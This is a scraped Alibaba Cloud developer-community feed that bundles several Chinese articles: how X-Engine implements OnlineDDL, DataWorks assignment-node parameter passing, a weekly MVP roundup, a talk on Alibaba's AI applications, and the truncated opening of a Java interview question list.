    X-Engine的核心优势是低成本,高性价比,尤其适用于历史库场景,目前阿里巴巴内部的核心交易历史库(原来是Hbase),钉钉消息历史库(原来是MySQL(InnoDB)),淘宝商家的图片空间等业务均通过X-Engine解决了成本问题。

    同时,X-Engine也赋能阿里云数据库服务,作为云上RDS-MySQL的存储引擎,对外售卖,让更多的用户享受到新技术带来的红利,有关X-Engine的详细介绍,请移步2019年10月的数据库内核月报。本文主要介绍X-Engine引擎的一个核心功能,OnlineDDL

    OnlineDDL毫无疑问是MySQL生态的一个重要的功能,想当初MySQL 5.6以前,DBA执行DDL变更时,为了保证7*24小时服务,只能采用最老土的主备切换的方式来进行。数据库存储引擎区别于NoSQL引擎的一种重要指标就是是否支持SQL,是否有schema(数据字典)。有了schema,还需灵活地支持在线变更,这样才能从容应对业务快速变化的需求。MySQL生态中这么多存储引擎只有InnoDB完整地支持了OnlineDDL,X-Engine作为MySQL生态的新成员,虽然采用了完全不同于InnoDB的存储架构,但OnlineDDL给用户的体验是一样的 。

    整体流程

    X-Engine采用类LSM的分层架构,数据按照时序逻辑分成多层,每一层数据有序,新数据在较高的层次,最老的历史数据在最底层。对于X-Engine来说,每个主表和二级索引数据都是一棵分层的LSM-tree结构,内部称之为Subtable。每个Subtable分为4层,Memtable,L0,L1和L2,每一层都保持有序,数据按新旧顺序依次往更深的层次迁移,其中Memtable在内存中,其它几层按需可以在不同的存储介质上。OnlineDDL功能实现充分利用了X-Engine的数据组织特点,将新build数据分为两部分,基线数据和增量数据。基线数据是指变更开始时,通过拿snapshot能遍历得到的数据;增量数据是指,变更开始后,用户写入的新数据。拿Snapshot过程需要短时间禁写,因为我们强依赖这个一致性位点,确保基线+增量数据的完整性。

    OnlineDDL总共包括了4个阶段,包括Prepare阶段,Inplace-build阶段,Commit阶段和Post-ddl阶段。
    1.Prepare阶段,这个阶段主要是准备数据字典,构建底层存储数据的Subtable,为后续的增量写入做准备。

    2.Inplace-build阶段,这个阶段OnlineDDL的核心阶段,一方面通过Snapshot获取基线,另一方面还需要实时维护增量数据,利用X-Engine的数据组织的append-only特性,将基线和增量合并,即完成了OnlineDDL新数据构建的过程。这个过程的详细逻辑会在下一个小节详细介绍。

    3.Commit阶段,这个阶段是OnlineDDL引擎层变更生效阶段,如果整个OnlineDDL过程中没有出现异常或错误,那么Commit阶段会生效新的数据字典,生效新的数据。

    4.Post-ddl阶段,这个阶段是OnlineDDL真正生效阶段,这个阶段完成后,才会返回给用户DDL成功。这个阶段的引入,主要是因为MySQL通过Server层+引擎层这样的一个二层结构实现扩展,而每一层都有自己的数据字典,在Commit阶段只能保证引擎层的数据和数据字典是完整的,为了保证DDL变更的原子性(Server层和引擎层数据字典保持一致),引入Post-ddl阶段做清理和善后工作,有关DDL原子性的讨论会在下面的章节详细介绍。

    核心逻辑

    OnlineDDL的核心逻辑在于如何做到执行DDL变更时,不堵塞用户对该表的DML和SELECT操作。X-Engine实现OnlineDDL有两个关键点,第1,利用X-Engine的数据组织append-only特点,增量维护在Memtable,L0,L1中,而基线数据维护在L2中;第2,维护增量时,采用双写,同时维护old-table和new-table中的数据。与InnoDB引擎类似,根据DDL是否涉及到数据记录格式变更,将DDL变更分为Inplace-rebuild和Inplace-norebuild两种类型。对于X-Engine来说,两者本质是一样的,区别在于维护的索引个数。Inplace-rebuild类型的DDL需要同时维护new-table中所有索引;而Inplace-norebuild类型的DDL只需要维护new-table的新增的索引。
    11.jpg

    整个Inplace-Build按照时间序有3个关键节点,t0时刻是获取快照的时间点,t1时刻是build基线完成的时间点,t2时刻是唯一约束检查完成的时间点。那么两个阶段的主要逻辑如下:t0-->t1主要工作是在build新表的基线,通过将old-table的数据结合new-table的数据字典生成新的记录,最终写入新表对应的L2层;在build新表基线的过程中,产生的增量写入到新表的(Mem,L0,L1)。DDL过程中,需要对后台的Compaction任务做一定的控制,确保不执行合并到L2的Compaction任务。t1-->t2是唯一性校验阶段,确保新增的主键或者唯一索引的唯一性,t2时刻将(Mem,L0,L1,L2)中的数据合并,最终得到new-table的全量数据。记录转换的过程如下:
    12.jpg

    其中,DDL事务表示DDL线程,它的任务是扫描基线,生成新表的基线数据;DML事务表示DDL过程中,并发的DML事务,它们的任务是,通过双写机制同时维护新表和老表的增量。

    对比InnoDB实现逻辑

    虽然X-Engine与InnoDB的OnlineDDL都是采用基线+增量的方式实现,但具体逻辑是不同的,主要是因为InnoDB采用的的是原地更新操作并且通过row-log机制来维护增量,而X-Engine是一个append-only的存储引擎,天然地支持数据的多版本存储,可以实时维护增量数据,在基线建立完成后只需要将基线与增量数据合并,即使基线中的数据在增量中被修改,但增量中数据的版本比基线数据版本更新,从而在合并时会覆盖基线中老版本的数据。下图是InnoDB引擎OnlineDDL过程。
    13.jpg

    可以看到InnoDB引擎的OnlineDDL也包括3个关键时间点,与X-Engine引擎的区别在于,t1-->t2 是InnoDB追row-log过程,而对应X-Engine是唯一约束检查的过程。当然对于X-Engine来说,t1-->t2不是必需的,因为DDL变更可能并不涉及唯一索引操作。

    Instant-DDL

    与MySQL8.0(InnoDB)类似,X-Engine同样也支持Instant-DDL。在所有支持的OnlineDDL中,若DDL操作只涉及修改表的属性信息,或只是做了加列操作,不需要修改记录格式,也不需要新增索引,那么这些OnlineDDL操作可以优化成Instant-DDL。这些DDL操作可以“极速”完成,用户基本无感知。由于Instant-DDL执行时,并没有真正涉及引擎数据的修改,为了后续查询结果和DDL操作的正确性,需要对于引擎的记录格式做一定的调整,加一些控制元信息。新增一个1字节来标示生成这个记录时,表是否执行过instant-ddl。同时,生成记录时,还需要记录有多少个列是已有的,以及有多少个null列等;在读取解析记录时,根据字典信息,就能知道有多少个列是需要根据instant列信息来补充,确保instant-DDL后,返回查询结果的正确性。

    DDL原子性保证

    从OnlineDDL的整体流程中我们了解到,OnlineDDL最后一个阶段是Post-ddl阶段。MySQL8.0以前,Server层的元数据都是通过文件来存储,比如frm文件,par文件以及trg文件等。一个DDL操作修改,涉及到文件修改,引擎数据修改以及引擎字典的修改,这些操作无法做成一个事务,必然导致整个DDL操作无法做到原子性。若DDL过程中出现异常,就可能会导致Server层和引擎层数据不一致,以及残余的垃圾没有清理等问题。MySQL8.0将Server层的所有字典信息统一存储在DD(DataDictionary)中,并且通过InnoDB引擎存储,那么DDL过程中,我们只要保证Server层数据字典的修改,以及引擎层数据字典的修改封装成一个事务即可。

    对于InnoDB引擎而言,DD数据字典操作,InnoDB引擎数据字典操作都是通过InnoDB引擎存储,通过InnoDB事务特征来保证原子性。对于X-Engine引擎而言,DD数据字典操作,X-Engine引擎数据字典操作分别采用InnoDB引擎和X-Engine引擎,除了依赖于InnoDB和X-Engine自身是事务引擎特征,还需要借助于内部的2PC协议来保证整个事务的原子性。如果MySQL开启了binlog,那么就是binlog,X-Engine,InnoDB三者一起通过2PC协议保证事务的原子性。而Post-ddl阶段就是做善后和清理工作,如果最终整个事务提交,Post-ddl阶段负责真正清理old-table数据;如果最终整个事务回滚,那么Post-ddl阶段负责清理临时产生的new-table数据,确保DDL变更前后,数据库的状态是一致的。
    14.jpg

    使用体验

    X-Engine作为MySQL的一个新引擎,在语法使用层面完全与MySQL(InnoDB)相同,通过algorithm_option指定Online类型,通过lock_option指定DDL过程中,是否允许其它并发的DML和SELECT操作。通常情况下,这两个选项都不用特别指定,采用默认值即可,MySQL内部会优先选择Instant类型和Inplace类型,对于不支持Online的DDL操作,选择Copy类型。在功能层面也与MySQL(InnoDB)相同,目前X-Engine暂时还不支持全文索引,虚拟列,外键等功能,因此与这些功能相关的DDL操作会不支持,其它DDL操作与MySQL(InnoDB)相同。常用的DDL操作分类如下:
    15.jpg

    后续工作

    X-Engine作为一个新的数据库存储引擎,通过集团业务场景的打磨,已经体现了它的价值,我们希望通过云上RDS场景,让更多用户享受到新技术带来的红利。当然,目前X-Engine还有一些不足,尤其是相对于传统成熟的MySQL(InnoDB)和Oracle,所以X-Engine引擎在优化自身的稳定性和性能同时,会持续不断地丰富数据库功能,包括支持外键,全文索引,虚拟列等。除了公有云的RDS输出,基于X-Engine的一体化分布式数据库PolarDB-X也是一个重要方向,我们会以专有云形式输出,服务更多对分布式数据库有强需求的用户。

    ]]>
    DataWorks百问百答14:赋值节点结合节点上下文实现上下游参数传递-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 赋值节点支持ODPS SQLSHELLPython三种语言来编写代码,赋值节点自带outputs输出,可结合节点上下文功能实现上下游参数传递。
    不同语言outputs赋值情况如下:

    • outputs参数的取值只取最后一行代码的输出结果。

      • ODPS SQL最后一行SELECT语句的输出。
      • SHELL最后一行ECHO语句的数据。
      • Python最后一行PRINT语句的输出。
    • outputs参数的传递值最大为2M。如果赋值语句的输出结果超过此限制,则赋值节点会运行失败。

    注意:python和shell的输出会基于逗号切割成一维数组。
             odpssql将输出结果作为一个二维数组传递到下游。

    赋值节点参数传递示例

    业务流程概览:在xc_赋值节点取值对比_shell节点中分别输出赋值节点中使用python、sql、shell编辑的最后一行代码输出结果。
    下游引用上游传递的参数需要先设置依赖关系。
    image.png

    下游引用赋值节点(ODPS SQL)输出示例

    上游节点配置:

    当前赋值节点节点名为xc_fuzhi_sql,赋值语言为ODPS SQL。
    image.png
    赋值节点将该表的查询结果作为节点输出赋值给赋值节点自带的输出参数outputs。
    赋值节点查询结果如下:
    image.png

    下游节点配置

    下游shell节点节点名为 xc_赋值节点取值对比_shell,下游节点依赖赋值节点xc_fuzhi_python,引用上游赋值节点xc_fuzhi_sql自带的输出outputs作为下游节点的输入,并命名为sql_inputs。
    image.png
    取上游赋值节点odps sql最后的输出结果:'${sql_inputs}'
    取上游赋值节点odps sql输出的第1行数据:${sql_inputs[0]}
    取上游赋值节点odps sql输出的第2行数据:${sql_inputs[1]}
    取上游赋值节点odps sql输出的第1行第2个字段:${sql_inputs0}
    取上游赋值节点odps sql输出的第1行第2个字段:${sql_inputs1}

    结果展示

    image.png

    下游引用赋值节点(Python)输出示例

    上游节点配置:

    当前赋值节点节点名为xc_fuzhi_python,赋值语言为python。
    image.png
    赋值节点使用赋值语言python将最后print的结果'a,b,c'赋值给赋值节点自带的输出参数outputs。

    下游节点配置:

    下游shell节点节点名为 xc_赋值节点取值对比_shell,下游节点依赖赋值节点xc_fuzhi_python,引用上游赋值节点xc_fuzhi_python自带的输出outputs作为当前下游节点的输入,并命名为python_inputs。
    image.png取上游赋值节点python最后的输出结果:${python_inputs}
    取上游赋值节点python输出的第1个数据:${python_inputs[0]}

    取上游赋值节点python输出的第2个数据:${python_inputs[1]};

    结果展示

    image.png

    下游引用赋值节点(shell)输出示例

    上游节点配置:

    当前赋值节点节点名为xc_fuzhi_shell,赋值语言为shell。
    image.png

    下游节点配置:

    下游shell节点节点名为 xc_赋值节点取值对比_shell,下游节点依赖赋值节点xc_fuzhi_shell,引用上游赋值节点xc_fuzhi_shell自带的输出outputs作为下游节点的输入,并命名为shell_inputs。
    image.png
    取上游赋值节点shell最后的输出结果:${shell_inputs}
    取上游赋值节点shell输出的第1个数据:${shell_inputs[0]};
    取上游赋值节点shell输出的第2个数据:${shell_inputs[1]};

    结果展示

    image.png

    DataWorks百问百答历史记录请点击查看

    更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

    ]]>
    MVP一周精选 20200417:快速成为顶级架构师的内功修炼-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

    每周五,都是MVP精彩内容时刻的分享,如果您没来得及围观技术圈,那一周精选值得收藏。
    本周为你带来架构师成长专题——快速成为顶级架构师的内功修炼,由奈学教育科技创始人&CEO孙玄倾心出品、MVP线上峰会——云原生专场,由阿里云 MVP黄军雷、孙琦以及阿里云专家萧元联合出品,跟您聊聊云原生那些事儿。更有MVP时间线上技术管理集锦文章+电子书下载。查看正文,全都知晓!

    阿里云MVP(阿里云最有价值专家),是专注于帮助他人充分了解和使用阿里云的技术实践领袖。在这里,您可以跟随各行各业技术达人快速Get到行业热点和前沿技术的发展现状。点击了解更多

    MVP说

    开发者必看,教你如何Get技术管理者思维!(你还不收藏吗?)

    MVP 时间线上峰会技术管理专场邀请5位一线专家和技术管理者,分享他们多年来在云计算和技术团队中的管理经验和心得,哪些你不可不知道的管理者思维,帮助你在面对竞争、行业的快速变化中,提升自我能力,具备前瞻性和大胆的技术创新,保障业务的顺滑发展。

    沈剑:CTO的那些事儿:带领团队成长

    到家集团技术委员会主席&快狗打车CTO沈剑通过分享了自己在带团队过程中的方法,帮助技术管理者快速找到并且解决在带领技术团队作战过程中经常遇到的几个难题。

    裔隽:云和千禧时代,技术管理的演进

    汇付天下首席数据官裔隽为大家带来云和千禧时代,技术管理的演进的介绍。疫情之后,线下线上融合会加速,云计算、云原生发展会更加迅猛,IT 技术和架构会发生巨大的变化,加上千禧一代正式登上舞台,从人到物发生巨大变化,同时,管理工具、管理方法也迅速在演进,敏捷、协同、远程、多端等,这一切给技术管理带来了新的挑战,需要我们去思考和实践。

    赵怀刚:云原生数据库POLARDB的应用探索

    资深DBA赵怀刚为大家带来云原生数据库POLARDB的应用探索的介绍。内容包括为什么选择POLARDB,相比RDS、MySQL有哪些新特性和优势,以及最佳适用场景的探索和实践。

    MVP时间

    快速成为顶级架构师的内功修炼

    奈学教育科技创始人&CEO,前百度资深研发工程师,前58集团技术委员会主席/高级系统架构师,前转转公司技术委员会主席/首席架构师/大中后台技术负责人,公众号:“架构之美” 〔beautyArch〕作者。 本次分享架构大牛孙玄的职业成长路线,他是如何一路过关斩将,成长为首席架构师?这之中职业成长的核心要素和典型案例有哪些?一起来听听。

    云原生专场:未来已来!云原生战“疫”实操!

    云原生的企业数字化转型需要敏捷架构创新,全面云原生技术或将破局数字化进程中的困局。传统架构无法解决应用丰富及架构快速演进带来的部署及运维复杂性问题,云原生技术能基于云环境设计发挥云的优势。本期阿里云内外专家,跟您聊聊云原生那些事儿,业内首个全托管Istio兼容的服务网格产品ASM。疫情下容器安全的探索,在96小时完成业务部署。

    阿里云 MVP风采:走近MVP——张永良

    张永良,现任孚嘉科技CEO,是一个勇于跳出舒适圈迎接挑战的人。他曾服务于体制内20年,参加国家税务总局金税一期、二期、三期的研发,熟悉国家财政和税收体制和财税服务生态,在2015年跳出20年的舒适圈去创业,将商业化网站的能力与税务行业深度融合,致力于行业数字化变革,旗下与钉钉、蚂蚁金服、阿里云合作推出的“丁税宝”广受税务部门和纳税人的好评。

    往期精彩回顾:
    MVP一周精选 20200410:物联网弄潮儿,快速解锁新技能新场景
    MVP一周精选 20200403:12期阿里云 MVP全球发布!重磅干货来袭
    MVP一周精选 20200327:线上峰会来了!足不出户进阶之路

    ]]>
    人工智能:是风,是云,还是雨?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 查看视频:阿里CIO学院攻“疫"技术公益培训第四场 - 华先胜:人工智能:是风、是云,还是雨?

    人工智能的发展

    人工智能的发展经历过三次高峰。第一次高峰产生于五十年代人工智能技术初步兴起,第二次热潮产生于八十年代,其代表为专家系统。目前世界上正在经历人工智能的第三次发展高峰。前两次高峰并未给社会带来预想的翻天覆地的变化,这次的高峰是否会重蹈覆辙,还是会有不同?其实,本次发展高峰有以下4个不同于以往的特点:
    1.深度学习:作为人工智能强大的辅助工具,深度学习的出现为很多尚未解决的难题提供了解决方法;

    2.强大计算:云计算和芯片算力的提升大大增加了计算机处理数据的能力;

    3.海量数据:各行各业中积累的海量数据,为人工智能的应用提供了创造价值的条件;

    4.成功案例:搜索引擎、电商推荐、涮脸支付等成功的应用案例为人工智能技术的发展提供了参考。

    image.png

    人工智能产业的快速增长

    人工智能产业从2012年前后开始经历了一段快速发展的时期。2017年及之前全球涌现了8000余家AI创业公司,活跃的AI创业公司数量较过往增加了14倍。在2017年当中,167家中国AI公司获得了总计50多亿的USD投资。目前绝大多数公司都成立了自己的AI实验室,试图通过人工智能技术辅助公司业务发展。

    image.png

    AI之困境

    当前AI技术虽然发展的如火如荼,但在技术实际的应用过程中仍然存在营收困难、数据差异大、核心价值难以实现、用户期望过高等多种问题。

    营收问题
    如何利用AI技术创造营收是AI企业面临的首要难题。根据2018年的数据统计,超过90%的AI公司营收都在亏损。公司承接的AI项目定制成本及开发所用人力成本都很高,且项目资金不易回流,造成了AI项目投入大回报低的缺陷。同时由于各家公司技术差距的不断缩小,开发AI通用产品所能获得的回报也在逐渐减少。

    image.png

    实验室VS真实世界
    人工智能技术落地的第二个困境是实验数据与实际数据的差异巨大。由于公开数据集与真实企业数据之间的巨大差异,企业真实场景中的结果常常不能令人满意。这使得企业无法正确估量相关技术应用后的效果,大大消减了企业的信心。例如在人脸识别技术的应用中,开发者们的代码往往可以在著名人脸识别数据集LFW上取得极高的准确率。但当代码被用在真实场景中时,由于不同使用场景差异很大,代码也常常不能获得很好的效果。
    另一个例子,人员重识别(Person Re-ID),公开测试数据集与实际应用的区别则更大。相较于公开数据集的数据,真实场景中的人员会穿着不同的衣服,乘坐不同的交通工具并正在进行不同的动作。这些变化都给算法的识别造成了很大的困难,使得算法的准确度大大下降。

    成熟的技术VS用户的需求
    成熟的技术与用户实际需求之间较大的差异是AI技术应用的第三个困境。企业的用户对AI技术抱有很高的期望,常常寄希望于通过AI解决绝大部分业务问题。实际上AI技术仅能对业务中的某一类问题提供很好的解决方法,并不能解决全部的业务需求。

    image.png

    AI技术和应用成功的关键因素
    AI技术成功应用的关键因素往往在于其能否为企业带来相应的核心价值。AI技术的价值可以分为以下三个境界。
    1.锦上添花:若企业在锦上添花阶段投入大量人力物力,往往得不到理想的产出并会造成资源的浪费。

    2.雪中送碳:在这个境界中,企业开发的技术能为行业带来不可替代的价值,为解决某些业务问题提供了良好的解决方法。

    3.无中生有:因为某项AI技术的产生,从而衍生出相关的需求与业务。例如,手机的大屏,就是个很好的例子。用于通讯的手机通过技术的发展实现大屏观看视频、浏览网站、视频通信等需求,大屏并不是手机的“初衷”,但现在已经成为了手机不可缺少的功能。

    image.png

    大规模人工智能应用场景

    阿里巴巴的人工智能技术研发背靠大规模人工智能应用场景,通过解决实际应用场景中出现的问题促进相应AI技术的发展。下图展示了阿里巴巴中人工智能技术的部分应用场景,下面本文将围绕其中一些AI技术应用实例进行介绍。

    image.png

    视觉搜索应用场景

    目前视觉搜索技术的应用非常广泛,该技术普遍应用于通用搜索、商品搜素、城市搜索及原料搜索等多个领域之中。下面将以电商中的视觉搜索作为例子,介绍视觉搜索的关键技术点。

    视觉搜索流程
    电商的视觉搜索的流程可以分为6个部分,分别是类目识别、主体检测、特征提取、检索、排序及结果呈现。算法首先对图片中的商品类别进行识别,将商品正确划归到其所属的类别之下。在类目识别后,通过主体检测方法将待观测商品在图片中标注出来,算法会将商品图像的像素转化为可以计算的特征,商品图搜搜索引擎对得到的特征数据与索引中的数据进行特征的比对及检索,并对返回的结果进行相似度的排序,最后将经过重排后的商品列表呈现在用户面前。

    image.png

    特征学习
    特征学习是视觉搜索中十分关键的步骤。基于深度学习的特征学习方法会在图片中提取商品的特征,也就是将图片转化成可以比较的向量。深度学习技术的出现提升了特征学习的效果,通过深度学习的方式,可以设计网络结构迫使神经网络将图像特征收敛到理想的状态,从而大大提升搜索算法的准确率和召回率。

    image.png

    索引和搜索系统
    索引与搜索系统是视觉搜索中另外两个大挑战。如何对向量数据进行搜索是一个难点,较为常见的方法是采用量化方式处理,将图像的向量特征转变为可以索引的数据。在搜索阶段,企业搭建相应的搜索系统处理用户的搜索请求,搜索系统会将索引数据分配至多台服务器中储存,并把每个搜索请求分到不同的服务器中进行处理,最后汇总所有的搜索结果进行排序。

    image.png

    技术效果
    淘宝App中的拍立淘功能使用视觉搜索技术实现了识别用户图片并进行商品检索的功能。下图展示了拍立淘功能的效果,可以看到系统检索出的商品与用户上传图片中的商品基本为同款同型号或类似的产品。淘宝通过这种方式减少了用户手动搜索商品的时间,大大提高了用户的购物体验。

    image.png

    image.png

    视觉制造应用场景

    视觉制造技术可以应用算法制造视觉数据,包括图像、三维图形和视频。该技术通过结合视觉分析、搜索技术,以及视觉制造引擎将用户的想法转换为可见的视觉数据。以下为视觉制造技术在不同场景下的应用实例。

    image.png

    AlibabaWood商品页面秒变视频
    阿里巴巴应用视觉制造技术在淘宝中实现了商品页面秒变视频的功能。系统会自动进行商品页面的图像分析及文本分析,并将分析得到的数据自动生成视频。通过将静态商品页面转换为动态播放视频的形式,增加了该种商品的点击率与转化率,同时节省了制作相关视频所需的成本。

    image.png

    视频修复增强
    使用视觉制造技术还可以实现对低质量视频的修复。一部1.5小时的老旧电影,传统手工修复要40天,AI智能修复则只需3个小时。阿里巴巴与优酷联合上线的“经典高清”专区即通过视频修复增强方式在极短的时间内对超过1000部经典老片进行自动修复,使影片焕发出了新的生命力。下图所示为通过该方式对影视剧士兵突击修复后的效果,曾在电影院高清屏幕上播放,获得了观众的大量好评。

    image.png

    视频植入:从点位检测跟踪到渲染嵌入
    通过视频制造技术可以在视频中找到合适的位置放入企业的植入广告。视频植入技术通过算法解析视频中的场景,在较为合适的水平或垂直平面或曲面放置企业的广告并将广告无缝渲染进场景之中。这种方式帮助企业做宣传的同时,同时保证了植入广告的自然度,并且不占用观众的时间,也不破坏视频内容,不会引起观看者的反感。下图所示为视频植入技术在视频中的应用效果。

    image.png

    鹿班:自动平面设计
    鹿班智能平台是视觉制造技术的另一应用实例。阿里巴巴设计开发的鹿班智能平台可以为使用者自动设计平面广告。使用时,鹿班平台会整合用户的文案、图片及希望的广告风格,自动生成符合用户需求的广告图片或海报。鹿班平台可以以本科毕业生的水平每秒制作8000个banners图。在2017年的双十一期间,阿里巴巴集团使用鹿班平台共生成了4.1亿个banners图,增大了双十一活动的宣传影响力,并为企业节省了很大的宣传成本。

    image.png

    鹿班平台的开发为企业积累了成功的经验。鹿班这种场景,也就是大批量短时间产生广告图的需求,原来是没有的,因为人力很难实现。但自动设计技术使得这种场景变成可能,从而这项技术也成为大促场景的刚需了。企业认识到AI技术的应用要注重于关注刚性需求,而不是注重于炫酷的技术。新的AI技术可以提升商业创新,商业创新则可以反哺技术上的创新。

    image.png

    视觉诊断

    视觉诊断技术为AI技术的另一重要应用,可以分为两类:诊断人,也就是医疗影像技术;诊断产品或机器,也就是工业视觉技术,特别是质量检测技术。以下为阿里巴巴集团在视觉诊断方面落地的技术和应用。

    智能医疗健康
    阿里巴巴的医疗健康AI团队致力于让AI技术辅助医疗保健,使医疗分析和健康管理变得更高效、普惠、低成本。数据统计发现在保证人们健康的诸多因素中,保持健康行为对人体健康的收效最高,因素比例高达50%,而目前人们的健康花费却大多集中在医疗服务方面。医院ICU往往成为了人们为健康花费最多的场所。如何更有效的保障人们的身体健康?阿里巴巴医疗团队通过采集人体听觉、视觉、感知及文本的数据搭建智能健康管理平台。平台会对人体数据整合分析,为糖尿病、高血脂、心血管等高危疾病的病人提供预警服务,为使用用户提供每日健康数据的分析。帮助使用者实时了解自己的身体状况,并通过身体状况信息随时调节自己的身体,达到通过促进用户保持健康行为保障身体健康的效果。

    image.png

    精准的冠状动脉CTA影像分析
    通过深度学习方法及三维图像检测方式,CTA影像分析技术可以对心脏冠状动脉进行非常精细的分割和命名,并对冠状动脉中出现的狭窄区域及细小的病变斑块进行识别。通过精准的图像及深度学习技术可以检查出病人体内所有细微的病变。

    image.png

    智能骨科:脊柱MRI智能诊断
    应用AI技术在骨科中可以进行脊柱结构的提取,对脊柱中锥体和椎间盘进行高精度的分割与测量。同时算法可以辅助医生进行辅助诊疗,以细粒度的级别区分退变性疾病,大大提升医生的诊断效率。

    image.png

    下图为智能骨科技术在髋膝关节手术测量中的应用示例。算法可以自动标注出关节中特征点的位置、角度和长度,为医生实施手术提供可靠的参考。

    image.png

    寻微:医疗健康搜索平台
    通过阿里巴巴搭建的医疗健康搜索平台,医生可以在平台中找到与当前相似的病例信息及医疗影像,通过参考历史治疗记录及治疗经验更好的诊断病人并为之制定更合理的治疗方案。

    image.png

    健康精灵解决方案
    阿里巴巴将有关医疗健康知识的数据构建成知识图谱,储存到天猫精灵可访问的数据库中。用户通过与天猫精灵对话可以调取数据库中的信息,天猫精灵会根据知识图谱为用户提供改善健康的方案。天猫精灵还可以对用户健康状况进行自动的分析管理。

    image.png

    未来健康管理
    传统医学文化强调治未病,即在人体未生病时便开始对健康干预。阿里巴巴构建的未来健康管理通过认知、判断、决策、学习四个部分帮助用户防范健康问题于未然,结合AI医疗的技术为人们的身体健康保驾护航。

    image.png

    新冠肺炎CT影像分析
    阿里巴巴AI医疗团队在2月16日成功上线了针对于新冠肺炎疫情的CT影像分析系统。系统会在20秒内对患者的患新冠肺炎的概率及病区占肺部的百分比等数据进行分析输出,预测的准确度高达96%,现已落地160多家定点医院,经过29万余次调用(最新数据),为新冠肺炎的快速确诊提供了可靠的帮助。

    image.png

    全基因测序数据分析
    阿里巴巴为新冠肺炎设计的全基因测序分析技术在10分钟内即可完成全部基因组的比对工作,算法通过高达95%的全基因序列覆盖使得确诊的准确度基本上接近100%。由此,将全链路的新冠病毒全基因测序从两三天降低到14小时。

    image.png

    行业视觉诊断

    行业视觉诊断技术广泛应用于电池板、纺织业、大型机械等工业制造过程中的产品质量检测和故障诊断中,旨在节省人力并提高产品的良品率和设备的精确度与稳定性。以下为行业诊断技术在各行各业中的应用实例。

    太阳能电池板瑕疵检测
    针对以往人工检测太阳能电池板瑕疵消耗时间长、不能全部检测等问题,阿里巴巴设计实现的太阳能电池板检测系统可以实现全量电池板的检测,通过AI技术辅助分析的方式使相关企业检测效能提升36倍。下图以准确率、速度与识别颗粒度为指标对人工与AI技术检测的效果做了对比。相较于人工方式的准确度、速度及识别颗粒度,AI技术均有很大提升。

    image.png

    更多行业视觉检测
    行业视觉检测技术同时广泛应用于输电线路巡检、食品质检等多个行业的场景之中,并取得了良好效果。

    image.png
    image.png

    智能养猪
    阿里巴巴创建的智能养猪场使用AI技术可以实时掌握每头猪的身体状况。AI技术可以对猪场进行远程计数,通过对猪的行为与饮食分析了解猪的情况,并在必要时对猪的健康报警。

    image.png

    城市大脑

    阿里巴巴集团设计实现的城市大脑旨在打通城市中积累的大量数据,通过人工智能分析采集的数据,并为城市提出相应的优化方案。城市大脑应用AI技术与算力相结合,分析城市中的数据,使城市治理和服务数据化、智能化,做到高效、低耗、便捷的管理城市。实现城市在治理模式、服务模式、产业发展上的多方面突破。

    image.png

    下图为城市大脑的结构示意图。 城市大脑首先会汇集视频、GPS、微波等多种类型的数据,并对视频数据进行分析理解,对数据产生初步的认知。对于已经生成的认知信息,城市大脑会通过AI算法对数据进行分析处理并提出优化决策,优化方案包含且不限于红绿灯优化、公交优化、事故事件报警等等。通过将城市中的要素放入搜索引擎,系统将会自动进行搜索与数据挖掘,此时系统可以同时进行可疑车搜索、发现交通规律、寻找拥堵原因等多个任务。系统在提供管理优化方案的同时提供数据预测功能,可以根据当前交通状况、天气、事件等因素对交通流量、交通事故概率等多方面数据做出预测,并基于预测数据进行相关的干预。

    image.png

    目前阿里巴巴的城市大脑系统已实现30余个城市或城区60余个项目的部署,企业开发的城市大脑人工智能开放创新平台支持十余家研究机构及第三方厂商的研发与部署。城市大脑系统的6组产品已广泛应用于交通、平安和市政管理等多个重要领域中。

    image.png

    城市大脑人工智能开放创新平台
    城市大脑人工智能开放创新平台具有功能全面、使用灵活、实时性高、运行高效及开放性高等五大优点,可以为开发及研究团队提供安全可靠的AI平台层的支持。平台提供的大规模视频分析处理加速技术可以支持一台服务器同时处理超过100路视频,大大的增加了处理视频数据的效率。

    image.png

    全天候异常事件事故检测
    城市大脑的全天候异常事故检测功能会将近实时检测到的城市中的事件事故自动排列在数据大屏上并对发生的事故不断的更新数据信息,根据事件事故的不同类型,系统自动处理或由交通警察及时进行相关处理。

    image.png

    杭州城市大脑交通态势/信号灯优化/事件优化
    通过阿里巴巴城市大脑提供的交通态势、信号灯优化,杭州的交通通行效率比以往提升了15.3%,每天系统可报告2万起事件事故信息,准确度达96%。

    image.png

    杭州城市大脑:特种车优先通行
    针对特殊车辆如警车、救护车、救火车等,城市大脑会通过干预信号灯、优化道路交通等方式为该种车辆保驾护航,使特殊车辆可以更快的到达目的地。

    image.png

    城市大脑其他功能
    城市大脑同时提供车辆巡检、高危驾驶行为识别、车流量人流量预测、市政管理及智能安全检测等多个功能。通过这些功能为城市的发展提供保障。

    image.png

    image.png

    城市3D重建和4D推理
    城市大脑提供的城市3D重建及4D推理功能可以将城市的状态用实时3D沙盘的方式呈现给用户,并通过AI技术在3D沙盘上还原城市在不同时刻的运行情况。

    image.png

    在城市大脑的设计实现过程中,阿里巴巴AI团队通过AI技术创造出不可替代的价值,潜心理解应用场景并打磨产品功能,建立起产品的核心竞争力,最后通过打造平台建立起生态,实现了从项目到产品再到平台的演变,为城市的治理、管理提供了有力的技术支撑。

    image.png

    人工智能未来趋势

    今天的人工智能方法论虽有局限,但各行各业之中有很多问题尚未解决,故人工智能仍有很大的发展空间。对于传统产业和数字产业,拥抱AI技术才可以更好的发展。对于人工智能的从业者而言,深入理解行业至关重要。对人工智能的商业化而言,需要用技术为客户创造足够的价值,否则无法很好的规模化落地。对于每个人来说,人工智能已经开始深入人们生活的方方面面,拥抱AI技术发展带来的变化不可避免。

    image.png

    人工智能技术到底是风是云是雨,取决于我们如何看待、研发或使用这些技术。如果不能选择好的路线,AI可能会如风般不实,如云般缥缈;若能可以深入研究技术,使用先进的核心技术打造产品,创造不可替代的价值,AI技术便可变成滋润万物的春雨,帮助我们走向成功。

    ]]>
    java面试题汇总一(会持续更新)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 不积跬步无以至千里,这里会不断收集和更新Java基础相关的面试题,目前已收集100题。

    1.什么是B/S架构?什么是C/S架构

    1. B/S(Browser/Server),浏览器/服务器程序
    2. C/S(Client/Server),客户端/服务端,桌面应用程序

      
